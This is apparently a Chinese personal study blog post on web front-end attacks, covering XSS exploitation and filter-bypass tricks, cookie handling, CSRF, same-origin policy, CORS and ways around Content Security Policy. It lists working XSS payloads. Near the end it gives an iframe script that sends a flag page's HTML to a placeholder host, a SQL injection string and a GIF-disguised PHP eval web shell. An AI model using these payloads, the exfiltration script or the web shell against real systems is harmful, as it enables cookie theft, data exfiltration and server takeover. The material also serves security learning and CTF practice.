web前端安全
XSS漏洞挖掘与利用
- XSS Worm
- 盲打后台XSS
- 打管理cookie,登陆
- 用户信息窃取
- getshell,内网渗透之类的
cookie
cookie基本通信流程:
- Set cookie
- cookie被自动添加到request header中
- 服务端得到cookie
cookie其实是存储在浏览器中的纯文本。发起http请求前,浏览器会检查是否有相应的cookie,如果有,则带入request header中的cookie字段。
对于每次请求都需要携带的信息,适合放在cookie中。
JS原生API提供了:document.cookie
cookie选项包括:expires(cookie失效时间)
、domain(cookie域名)
、path(cookie路径)
、Secure(需要完全协议,如https)
、httponly(只存在于http请求)
。
通过domain和path控制cookie能被哪些URL访问,发生xhr请求时,即使URL域名、路径满足domain、path,默认cookie不会被自动添加到请求头。domain可以设置为页面本身的域名,或页面本身域名的父域。
开启httponly之后,JS无法访问cookie。
通过XSS打phpinfo();然后phpinfo();打httponly的cookie。
- 修改cookie
- 重新赋值,path、domain必须一样,否则是设置新的cookie
- 删除cookie
- 重新赋值,expires设置为过去的时间令其失效即可。path、domain不变
- cookie编码
- 如果有逗号、分号、空格等会成为特殊符号,需要额外编码。一般用escape编码。读取用unescape。
浏览器解析
解析一般为词法分析、语法分析两个阶段。词法分析会对输入字节流进行逐字扫描,根据构词规则识别单词、符号、分词。
实体编号可以用十六进制表示。实体编号必须有,实体名称可以没有。
解析器解析字符引用后,不会转换到标签开始状态,导致不会执行其中的脚本。
- 空元素(Void elements)
<area>
<br>
<base>
…(不能放任何内容) - 原始文本元素
<script>
<style>
…(容纳文本) - RCDATA元素
<textarea>
<title>
…(容纳文本、字符引用) - 外部元素
mathml
命令空间的元素svg
命令空间的元素 …(容纳文本、字符引用、CDATA段、其他元素和注释) - 基本元素 以上之外的 (容纳文本、字符引用、其他元素、注释)
RCDATA中如果<
后面没有跟/
不会识别为标签。能识别的是类似于</textarea>
反射型xss
恶意代码存在URL中,点击链接才会触发。隐蔽性较差,可能被浏览器的XSS Filter 干掉。 输入–输出
存储型XSS
恶意代码存在数据库中,浏览被植入payload的页面即可触发,隐蔽性较强,成功率高,稳定性好。输入–进入数据库–取出数据库–输出。
XSS流程
- 修改参数、提交后看源码,查看输出位置。
- 闭合标签,注意隐藏参数,增加事件
- html松散属性,标签可以不带引号。没有用双引号包裹的可以不用双引号闭合
XSS trick:
- JS字符串中能使用JS字符串的编码方式。还可以unicode编码以及八进制编码
- %0a换行。
- 双参数可以考虑前一参数转义
"
使后参数逃逸1\
,后一参数可以注释后面,并from==1;function/**/from(){javascript:alert(1);}\\
- 宽字节绕过
- GBK编码第一字节范围是
0x81~0xFE
- 第二字节范围为
0x40~0x7E
0x80~0xFE
- 如果
"
被转移为\
,但是使用GBK编码。\
处于第一字节为0x5c
,如果前面有一个高字节如%c0
,会被组合为一个合法字符,\
被吃掉,双引号逃逸。
- GBK编码第一字节范围是
-
javascript允许字符串多行写法:
var a="abcd\ efgh"; alert(a);
- 如果
\
被转移为\\
,但是编码是GB2312。使用宽字节绕过。%c0%5c%5c
6.页面没有回显,也可能有XSS。比如字符串被传递到Eval()函数。
- 如果
eval()函数:
- 可计算某个字符串,并执行其中的javascript
-
参数string必须。要计算的字符串,其中含有要计算的javascript表达式或要执行的语句。
var obj=eval('('+'{"name":"roy"}'+')') alert(obj.name)
- 在获取window.location.href时,chrome会对
<
>
"
转义为URL编码。导致失效。
总结
- 标签间情况:测试<>是否被转义,若无直接
<img src=# onerroe=alert(1)>
- script标签内:保证内部JS语法正确的情况下,插入payload,如果输出在字符串内部,测试字符串是否能被闭合。如果无法闭合包裹字符串的引号,就比较难。可能解决方式:控制两处输入且
\
可用,存在宽字节。 - html属性内:首先查看属性是否有双引号包括,没有则直接添加新的事件。有双引号则测试是否能绕过再添加事件属性。HTML的属性,如果能被进行HTML实体编码(如
'
'
),那么HTML会自动解码,可以在属性里以HTML实体的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。 - 输出在JS中,空格被过滤,使用
/**/
绕过。 - 输出在JS注释中,设法插入换行符
%0a
,逃逸 - 输出在JS字符串中,利用JS十六进制、八进制、unicode编码。
- 输入在src、href、action等属性内,使用
javascript:alert(1)
以及data:text/html:base64
加上base64编码后的html -
chrome下iframe自身的弹框姿势
1. <iframe onload = "alert(1)"></iframe> 2. <iframe src="javascript:alert(2)"></iframe> 3. <iframe src="data:text/html,<script>alert(1)</script>"></iframe> 4. <iframe srcdoc="<script>alert(1)</script>"></iframe>
-
自带htmlencode功能的标签
<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
- html元素配合xss
CSRF利用
攻击者盗用身份,以这个身份发起恶意请求。一般和存储性XSS配合使用。
burpsuite可以右键生成CSRF POC
域、同源策略
三个相同:
- 协议相同
- 域名相同
- 端口相同
非同源:
- cookie、localstorage、index DB无法读取
- DOM无法获得
- AJAX请求无法发送
条件是相对的,某些情况下,可以通过同源策略所允许的共享机制完成非同源之间的数据传送。
两个页面二级域名相同,只是三级域名不同,浏览器允许通过设置document.domain共享cookie。
w1.a.com/index.html
w2.a.com/inde2.html
如果设置相同的document.domain。A就可以设置一个cookie给B用。
如果是服务器设置的domain=.example.com
,该域下面的子域都不用做任何设置,都可以读取cookie。
iframe和window.open打开的窗口一样,与父窗口无法互相获取对方的dom。但是如果二级域名相同,知识三级域名不同,且document.domain相同就可以
规避同源跨域
- JSONP
- 网页通过添加一个
元素,通过src属性向服务器请求JSON数据,不受同源政策限制,收到请求后,将数据放在一个指定名字的回调函数里传回来。JSONP可以直接执行javascript导致XSS等 - 绕过JSONP refer限制使用iframe。
- 网页通过添加一个
- WebSocket
- CORS
- CORS需要浏览器和服务器同时支持,目前所有浏览器都支持,IE不能低于IE10。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息。实现CORS通信的关键是服务器。服务器OK,就可以。
- 自动添加
Origin:http://api.bob.com
http头 - 如果指定的域名在许可范围内,返回的响应会有
Access-Control-Allow-Origin:
,可选回应有:Access-Control-Allow-Credentials
——是否可以发送cookie。Access-Control-Expose-Headers
- CORS发送cookie,服务器要开启
Access-Control-Allow-credentials
,开发者必须在AJAX打开withCredentials属性。且必须指定明确的、与请求网页一致的域名。只有服务器域名设置的cookie才会上传,其他域名不会上传。且源代码中的cookie无法读取服务器的。 - 预检请求:发送请求前,浏览器先向服务器发送请求,如果服务器确认可以。则再发送。
CSP专题
内容安全策略,旨在减少跨站脚本攻击。浏览器可通过获取header头进行CSP配置。
Content-Security-Policy:default-src ‘self’;script-src ‘self’ server.xxx.com
CSP用来定义所有加载策略。
经常遇到的是default-src 'self';script-src 'self' 'unsafe-inline'
link rel dns-prefetch(firefox)
prefetch(chorme)
<script>
window.location="www.xxx.com/a/x.js"
</script>
CSP限制了一定的目录,但脚本在另一个目录,那么可以通过请求redirect页面访问
<script src="http://xxx.com/b/x.js">
</script>
CSP只能通过对本域的JS。
<script>alert(1)</script>
无法使用。<link rel="import">
同样不行。连本地文件引进来都会作为内联执行同样不能执行。
解决方案:
- 通过JSONP绕过
- 反射或者符号执行
- 引入anglarJS库创建web界面。就可以执行JS了。
- 重定向绕过
####Nonces与Hashes。
给inline脚本和样式配置更为精确的规则,用来确保执行已知的inline代码,避免XSS代码执行。
Nonces通过在CSP中指定允许资源的序号,达到限制非法inline代码的目的。不能让攻击者猜到序号。
Hashes通过在CSP中指定允许资源的摘要签名。支持sha256\sha384\sha512三种算法。Nonces成本更低,Hashes方案更安全。
这是CSP2新增的内容,所以还是要加上unsafe-inline。确保仅CSP1的浏览器有还手之力。
解决方案:开启nonce之后,还开启了浏览器缓存,如果仅修改了location.hash,浏览器不会请求服务器,那么nonce string不会更换。
可以在主站构造XSS,开iframe请求admin目录,获取nonce值后。新建一个iframe,添加带有nonce字符串的iframe窗口,执行任意xss。
- 目标站开启了缓存机制
- 目标站同源下存在未被CSP保护的存在的XSS站点
select * form users where username='aaaa' or nickname='bbbb'
select * form users where username='aaaa\' or nickname='or 'bbbb'='bbbb'
<iframe id="ffff" src="http://202.112.51.217:43426/flag.php" onload="send()"></iframe>
<script>
function send() {
var n0t= document.createElement("img");
n0t.src = "http://xxxx?"+escape(document.getElementById("ffff").contentWindow.document.documentElement.outerHTML);
document.head.appendChild(n0t);
}
</script>
PHP绕过姿势:GIF89a\x3c?php eval($_REQUEST[A]);?\x3e\x3c/script\x3e\r\n
转载请注明:碎雪的小屋 » 0x04-Web第三天